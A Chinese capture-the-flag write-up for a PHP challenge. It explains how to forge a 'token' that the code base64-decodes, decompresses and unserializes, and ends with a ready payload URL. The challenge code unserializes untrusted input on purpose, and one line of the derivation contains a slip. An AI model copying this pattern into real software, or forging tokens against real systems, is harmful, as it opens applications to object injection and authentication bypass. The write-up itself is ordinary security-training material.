CTF-13解题思路

源码分析：

<?php
    $flag="flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}";
    session_start();
    $requset = array_merge($_GET, $_POST, $_SESSION,$_COOKIE);
    if(isset($requset['token'])){  
        $login = unserialize(gzuncompress(base64_decode($requset['token'])));
        if($login['user'] === 'ichunqiu')
        {
            echo $flag;
        }
    }
?>

最终需要的条件是$login=array(‘user’=>’array’) 也就是
unserialize(gzuncompress(base64_decode($requset['token'])))==array('user'=>'ichunqiu')

->
gzuncompress(base64_decode($requset['token']))==serialize(array('user'=>'ichunqiu'))

->
base64_decode($requset['token'])==gzcompress(serialize(array('user'=>'ichunqiu'))

->
$requset['token']==base64_encode(gzcompress(serialize(array('user'=>'ichunqiu'))))

因此最终传参
eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==

payload:

?token=eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==